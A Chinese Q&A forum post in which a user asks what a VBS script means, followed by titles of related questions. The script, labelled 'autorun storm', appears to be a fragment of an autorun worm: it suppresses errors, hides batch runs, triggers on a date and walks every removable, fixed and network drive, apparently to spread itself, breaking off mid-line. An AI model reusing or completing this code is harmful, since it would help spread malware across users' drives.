请问下这段VBS的意思!

rem autorun风暴
on error resume next
Set WshShell =CreateObject("WScript.Shell")

if Year(Date)=2030 and Month(Date)=6 and Day(Date)=30 then
a=WshShell.Run("autorun.bat Over" ,0,True)
Set Of = CreateObject("Scripting.FileSystemObject")
Set fc = Of.OpenTextFile("C:\autorun.txt", 1)
mt = fc.ReadAll
fc.Close
if mt<>"" then msgbox decrypt(mt)
end if

if Year(Date)>2030 or Month(Date)>100 then
else
For i=1 to 1
set Of = CreateObject("Scripting.FileSystemObject")
set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\autorun.vbs" then
isdir=true
else
a=WshShell.Run("autorun.bat Open" ,0,False)
isdir=false
end if
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> &q

请问下这段VBS的意思! 在VBS中show()的意思？ 懂vbs语句的帮解释一下这两句的意思 谁能帮我解解这句话什么意思？VBS的 请问一vbs为后缀名的文件是什么文件啊 请问能不能用VBS实现按键精灵的按键功能？ 请问以下VBS代码的意义，请详解 VBS脚本是什么意思?经常看到VBS这个符号，什么意思？ 请问什么叫关键字?VBS中,VBS已定义的字是关键子吗?STR是VBS的关键字吗?? 一个vbs的问题